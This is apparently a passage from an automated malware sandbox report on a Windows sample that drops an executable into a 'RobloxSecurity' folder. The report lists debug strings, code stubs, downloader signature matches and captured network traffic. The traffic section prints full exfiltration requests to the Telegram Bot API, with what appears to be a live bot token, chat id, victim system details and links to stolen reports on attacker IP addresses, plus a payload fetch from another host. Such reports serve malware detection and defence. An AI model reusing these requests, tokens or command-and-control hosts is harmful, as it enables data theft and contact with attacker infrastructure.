Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*TOP-A source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1851434800.0000022BB817C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: cmd.exe, 00000005.00000003.1850351981.0000022BB8350000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbWINLOA~1.PDB source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2S source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.pdb source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp, WERCB81.tmp.dmp.41.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\vkefq4cv.oil.exe source: cmd.exe, 00000005.00000002.1851434800.0000022BB8158000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Core.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: mscorlib.pdb! source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Configuration.pdbx source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: vkefq4cv.oil.exe, 00000012.00000002.2076526524.0000010DEFD37000.00000004.00000020.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp, WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831EneJ source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1851434800.0000022BB817C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: winload_prod.pdbWINLOA~1.PDBWINLOA~1.PDB source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*0 source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1851434800.0000022BB817C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Management.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Drawing.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2E source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\Boss\Desktop\Laps\Laps\obj\Release\Laps.pdb source: jqOHOuPMJP.exe
Source:	Binary string: System.Management.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Core.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831o source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1851434800.0000022BB817C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831n source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1851434800.0000022BB817C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbR source: vkefq4cv.oil.exe, 00000012.00000002.2076526524.0000010DEFD0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: ntkrnlmp.pdbl source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdbRSDS source: WERCB81.tmp.dmp.41.dr

Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	4_2_00007FFD9B9A5133
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	11_2_00007FFD9B974B99
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B981888h	11_2_00007FFD9B981353
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B98016Dh	11_2_00007FFD9B97FF54
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B974622h	11_2_00007FFD9B973E71
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B98B834h	11_2_00007FFD9B98B67A
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	11_2_00007FFD9B973DA8
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B9775FCh	11_2_00007FFD9B9773F9
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B981FA1h	11_2_00007FFD9B981A79
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B97D1B7h	11_2_00007FFD9B97C2B7
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	11_2_00007FFD9B97B97A
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B98E899h	11_2_00007FFD9B98E668
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	11_2_00007FFD9B97F5EF
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B97D1B7h	11_2_00007FFD9B97CE3C
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B9745F6h	11_2_00007FFD9B974574
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B974622h	11_2_00007FFD9B974574
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	18_2_00007FFD9B974B99
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B97D197h	18_2_00007FFD9B978B08
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B97CA9Ch	18_2_00007FFD9B978B08
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B97CC93h	18_2_00007FFD9B978B08
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B980CADh	18_2_00007FFD9B980A2E
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	18_2_00007FFD9B97B95A
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B974622h	18_2_00007FFD9B973E71
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B98B814h	18_2_00007FFD9B98B678
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	18_2_00007FFD9B975E3E
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B97EA38h	18_2_00007FFD9B97E4AE
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B981F81h	18_2_00007FFD9B981A59
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	18_2_00007FFD9B97F85F
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B98E879h	18_2_00007FFD9B98E7BC
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B97D197h	18_2_00007FFD9B97CE1C
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B9745F6h	18_2_00007FFD9B974574
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B974622h	18_2_00007FFD9B974574
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B97771Ch	18_2_00007FFD9B977519
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	42_2_00007FFD9B984B99
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	42_2_00007FFD9B986690
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B984622h	42_2_00007FFD9B983E71
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B9845F6h	42_2_00007FFD9B984574
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B984622h	42_2_00007FFD9B984574
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B98771Ch	42_2_00007FFD9B987519
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	44_2_00007FFD9B966AB0
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B96771Ch	44_2_00007FFD9B967519
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then dec eax	45_2_00007FFD9B996290
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B994622h	45_2_00007FFD9B9945E1
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B9945F6h	45_2_00007FFD9B994574
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 4x nop then jmp 00007FFD9B99730Ch	45_2_00007FFD9B997109

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.4:49738 -> 185.119.118.59:8080

Source: global traffic	HTTP traffic detected: GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%20%23Beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EReport%20size%3A%3C%2Fb%3E%200.16Mb%0A&reply_markup=%7B%22inline_keyboard%22%3A%5B%5B%7B%22text%22%3A%22Download%22%2C%22url%22%3A%22http%3A%2F%2F185.119.118.59%3A8080%2Fget%2FT4zYCSr1rm%2F41r0r_user%40468325_report.wsr%22%7D%2C%7B%22text%22%3A%22Open%22%2C%22url%22%3A%22http%3A%2F%2F127.0.0.1%3A18772%2FhandleOpenWSR%3Fr%3Dhttp%3A%2F%2F185.119.118.59%3A8080%2Fget%2FT4zYCSr1rm%2F41r0r_user%40468325_report.wsr%22%7D%5D%5D%7D&parse_mode=HTML HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%20%23Beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EReport%20size%3A%3C%2Fb%3E%200.16Mb%0A&reply_markup=%7B%22inline_keyboard%22%3A%5B%5B%7B%22text%22%3A%22Download%22%2C%22url%22%3A%22http%3A%2F%2F185.119.118.59%3A8080%2Fget%2Fs9VbfeJdTs%2FhkLYW_user%40468325_report.wsr%22%7D%2C%7B%22text%22%3A%22Open%22%2C%22url%22%3A%22http%3A%2F%2F127.0.0.1%3A18772%2FhandleOpenWSR%3Fr%3Dhttp%3A%2F%2F185.119.118.59%3A8080%2Fget%2Fs9VbfeJdTs%2FhkLYW_user%40468325_report.wsr%22%7D%5D%5D%7D&parse_mode=HTML HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%23Heartbeat%20received%20from%20beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EServing%20on%3A%3C%2Fb%3E%20%3Ci%3Ehttps%3A%2F%2Fe483612b93e055308d0c85f365c474ee.serveo.net%3C%2Fi%3E%0A%0A&parse_mode=HTML HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%23Heartbeat%20received%20from%20beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EServing%20on%3A%3C%2Fb%3E%20%3Ci%3Ehttps%3A%2F%2Fe2111f95f52ba8be6b2d3394e38b1722.serveo.net%3C%2Fi%3E%0A%0A&parse_mode=HTML HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /byte/@jokerbot880901.txt HTTP/1.1Host: 82.147.85.194Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line?fields=query,country HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line?fields=query,country HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 82.147.85.194 82.147.85.194
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194
Source: unknown	TCP traffic detected without corresponding DNS query: 82.147.85.194

Source: global traffic	HTTP traffic detected: GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%20%23Beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EReport%20size%3A%3C%2Fb%3E%200.16Mb%0A&reply_markup=%7B%22inline_keyboard%22%3A%5B%5B%7B%22text%22%3A%22Download%22%2C%22url%22%3A%22http%3A%2F%2F185.119.118.59%3A8080%2Fget%2FT4zYCSr1rm%2F41r0r_user%40468325_report.wsr%22%7D%2C%7B%22text%22%3A%22Open%22%2C%22url%22%3A%22http%3A%2F%2F127.0.0.1%3A18772%2FhandleOpenWSR%3Fr%3Dhttp%3A%2F%2F185.119.118.59%3A8080%2Fget%2FT4zYCSr1rm%2F41r0r_user%40468325_report.wsr%22%7D%5D%5D%7D&parse_mode=HTML HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%20%23Beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EReport%20size%3A%3C%2Fb%3E%200.16Mb%0A&reply_markup=%7B%22inline_keyboard%22%3A%5B%5B%7B%22text%22%3A%22Download%22%2C%22url%22%3A%22http%3A%2F%2F185.119.118.59%3A8080%2Fget%2Fs9VbfeJdTs%2FhkLYW_user%40468325_report.wsr%22%7D%2C%7B%22text%22%3A%22Open%22%2C%22url%22%3A%22http%3A%2F%2F127.0.0.1%3A18772%2FhandleOpenWSR%3Fr%3Dhttp%3A%2F%2F185.119.118.59%3A8080%2Fget%2Fs9VbfeJdTs%2FhkLYW_user%40468325_report.wsr%22%7D%5D%5D%7D&parse_mode=HTML HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%23Heartbeat%20received%20from%20beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EServing%20on%3A%3C%2Fb%3E%20%3Ci%3Ehttps%3A%2F%2Fe483612b93e055308d0c85f365c474ee.serveo.net%3C%2Fi%3E%0A%0A&parse_mode=HTML HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%23Heartbeat%20received%20from%20beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EServing%20on%3A%3C%2Fb%3E%20%3Ci%3Ehttps%3A%2F%2Fe2111f95f52ba8be6b2d3394e38b1722.serveo.net%3C%2Fi%3E%0A%0A&parse_mode=HTML HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /byte/@jokerbot880901.txt HTTP/1.1Host: 82.147.85.194Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line?fields=query,country HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line?fields=query,country HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: ip-api.com

Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.208.221:80
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.161.20.142:8080
